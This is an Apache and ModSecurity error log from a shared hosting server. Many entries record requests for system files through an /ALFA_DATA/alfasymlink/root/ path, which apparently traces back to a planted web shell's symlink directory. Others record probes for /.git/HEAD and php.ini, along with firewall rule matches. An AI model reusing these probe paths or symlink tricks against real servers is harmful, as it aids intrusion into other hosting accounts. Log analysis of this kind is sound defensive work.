[Sat Oct 24 09:47:59.345497 2026] [security2:error] [pid 2625330:tid 2625330] [client 216.244.66.250:43788] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "aty3D_MnT_rHlxLKOWDn6gAAAAc"]
[Sat Oct 24 09:47:59.345931 2026] [security2:error] [pid 2625330:tid 2625330] [client 216.244.66.250:43788] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "aty3D_MnT_rHlxLKOWDn6gAAAAc"]
[Sat Oct 24 09:48:03.195108 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 44.205.74.196:55230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/input4/device/drvctl
[Sat Oct 24 09:48:07.877608 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.211.39.188:14466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:15.222156 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.83.177.42:55232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:19.303152 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 100.29.164.178:40593] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:23.550352 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 18.206.47.187:10861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:27.162742 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 18.205.91.101:20220] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:31.143618 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.83.178.66:24299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:35.213854 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.214.176.44:19149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:39.568315 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.234.206.30:50777] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:44.409383 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.6:13472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/ctor
[Sat Oct 24 09:48:51.539984 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 107.20.25.33:37616] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:55.235301 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.238.45.183:51663] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:48:59.377118 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.227.234.246:60295] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:03.554137 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.156.124.2:52401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:07.174946 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.93.253.174:8642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:15.573878 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.209.201.119:22466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:19.434836 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.230.69.161:44550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:23.444469 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.23.104.107:57794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:27.217603 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 184.73.239.35:6558] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:30.047761 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 216.244.66.250:36364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/userplans
[Sat Oct 24 09:49:31.230061 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.45.92.83:51894] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:31.918775 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.16:28698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/cpu_partial
[Sat Oct 24 09:49:39.410390 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 3.93.98.99:47488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/ec/unbind
[Sat Oct 24 09:49:43.267253 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.213.70.100:20019] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:51.367304 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.54.157.23:8243] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:49:59.346250 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.207.47.227:25463] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/remove_id
[Sat Oct 24 09:50:03.634448 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 34.205.170.13:24538] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:04.895830 2026] [core:crit] [pid 2635684:tid 2635684] (13)Permission denied: [client 71.6.245.61:1336] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:50:19.344276 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.218.170.184:8106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:30.612398 2026] [core:crit] [pid 2635684:tid 2635684] (13)Permission denied: [client 45.79.138.176:12006] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:50:31.664246 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.212.145.46:16787] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:35.570761 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 44.208.223.68:32136] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:39.529338 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.211.148.239:16241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:43.638421 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.214.19.8:57835] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:48.181242 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.82.214.73:54223] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:51.529483 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.235.172.96:26575] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:55.528859 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.83.240.58:2090] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:50:59.577707 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.232.82.72:54251] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:51:02.585458 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 85.208.96.210:58532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/object_size
[Sat Oct 24 09:51:03.671317 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 52.2.191.202:44239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/battery/unbind
[Sat Oct 24 09:51:19.530142 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 50.16.216.166:32112] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:51:23.651357 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.3.156.186:35250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:51:27.787027 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.162.69.192:3872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:51:31.555090 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.229.2.217:17232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:51:49.617651 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 85.208.96.212:58172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/order
[Sat Oct 24 09:51:51.712422 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.94.40.182:1586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:51:55.612802 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.214.176.44:62148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:51:59.838364 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.4.229.9:12431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:52:03.885951 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.234.206.30:46701] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:52:07.741022 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.216.13.10:23918] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:52:11.773855 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 52.44.148.203:6737] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/rom
[Sat Oct 24 09:52:15.651195 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.212.205.90:52299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:52:19.665411 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.196.237.236:3481] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:52:23.880393 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.209.137.234:18998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:52:33.032909 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 34.206.212.24:32247] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource0
[Sat Oct 24 09:52:43.929136 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 54.152.163.42:33125] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/subsystem/uevent
[Sat Oct 24 09:52:51.905860 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.83.94.113:14676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:53:03.923849 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 52.21.62.139:33403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/new_id
[Sat Oct 24 09:53:15.709897 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.3.156.186:46066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:53:20.616528 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 185.191.171.17:12288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:53:27.686653 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.193.102.198:60333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:53:43.845627 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.84.250.51:31850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:53:51.675083 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 34.234.197.175:34474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/uevent
[Sat Oct 24 09:53:59.662847 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 184.73.239.35:35380] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:54:07.699656 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.87.62.248:58342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:54:15.360615 2026] [security2:error] [pid 2607843:tid 2607843] [client 91.92.240.86:36608] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "aty4hwSwRuPA-FjBma7KKgAAAAI"]
[Sat Oct 24 09:54:15.360836 2026] [security2:error] [pid 2607843:tid 2607843] [client 91.92.240.86:36608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "aty4hwSwRuPA-FjBma7KKgAAAAI"]
[Sat Oct 24 09:54:15.361130 2026] [security2:error] [pid 2607843:tid 2607843] [client 91.92.240.86:36608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "aty4hwSwRuPA-FjBma7KKgAAAAI"]
[Sat Oct 24 09:54:15.675571 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.205.141.124:65201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:54:23.673377 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.0.41.164:43414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:54:25.306187 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.1:33950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/trace
[Sat Oct 24 09:54:35.931562 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.144.185.255:17876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:54:36.437296 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.195:25094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/destroy_by_rcu
[Sat Oct 24 09:54:39.736980 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 34.226.89.140:46589] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/subsystem/input3/subsystem/event2/device/device/driver/serio1/drvctl
[Sat Oct 24 09:54:43.914005 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.84.102.81:63495] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:54:47.765689 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 18.214.124.6:31859] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:54:55.734743 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.214.19.8:28400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:04.045199 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 44.217.177.142:29156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_generic/new_id
[Sat Oct 24 09:55:07.789826 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.208.223.68:60849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:09.001317 2026] [security2:error] [pid 2607843:tid 2607843] [client 43.165.167.69:56202] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "aty4vQSwRuPA-FjBma7KLAAAAAI"]
[Sat Oct 24 09:55:09.002313 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 43.165.167.69:56202] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:55:11.944595 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.5.232.250:53210] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:15.743466 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 18.210.58.238:56318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:23.852545 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.7.13.143:48214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/rescan
[Sat Oct 24 09:55:31.805624 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.198.33.233:57698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:39.634978 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.84.70.201:15732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:45.518531 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 185.191.171.2:19214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:47.575329 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.226.106.93:3545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:51.602495 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 34.234.197.175:27420] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:55.765114 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.223.116.149:31150] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:55:59.637446 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.92.171.106:41097] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:03.973773 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 184.72.95.195:62980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:09.177492 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.218.103.254:61629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:15.546413 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 184.73.68.20:53535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource4_wc
[Sat Oct 24 09:56:19.841944 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 23.23.104.107:61395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:22.344551 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 185.191.171.5:37674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:31.550190 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.224.215.150:62453] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:35.606090 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 184.73.167.217:61824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:39.882458 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 18.213.102.186:20574] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:47.380344 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.213.85.234:8901] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:52.620103 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.93.211.16:1670] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:55.307645 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 107.23.62.75:14864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:56:59.328300 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.45.92.83:64954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:57:02.451824 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.19:41532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:03.0/remove
[Sat Oct 24 09:57:15.869861 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 23.23.214.190:33846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:57:19.370780 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 52.204.37.237:50158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/battery/uevent
[Sat Oct 24 09:57:27.278435 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.197.82.195:59047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:57:33.084407 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.12:13904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/poison
[Sat Oct 24 09:57:39.301338 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 54.235.172.96:32868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:07/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rescan
[Sat Oct 24 09:57:43.159189 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.207.207.36:35189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:57:51.962303 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.214.176.44:41842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:57:59.113979 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.231.181.240:35160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:07.165700 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.7.13.143:62465] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:12.528994 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 85.208.96.206:61636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:14.845130 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 185.191.171.11:42956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/kprobe/subsystem/drivers_probe
[Sat Oct 24 09:58:15.256000 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.205.91.101:65454] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:19.024423 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 23.21.148.226:52607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/8250_mid/unbind
[Sat Oct 24 09:58:22.886393 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 100.28.118.16:38039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:22.886568 2026] [security2:error] [pid 2627273:tid 2627273] [client 100.28.118.16:38039] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/PNP0B00:00/physical_node/power/runtime_status"] [unique_id "aty5fhdOhHN-18IxgZKrzAAAAAY"]
[Sat Oct 24 09:58:22.886609 2026] [security2:error] [pid 2627273:tid 2627273] [client 100.28.118.16:38039] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/PNP0B00:00/physical_node/power/runtime_status"] [unique_id "aty5fhdOhHN-18IxgZKrzAAAAAY"]
[Sat Oct 24 09:58:39.070219 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.70.123.241:31725] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:42.141862 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.4:31190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/sanity_checks
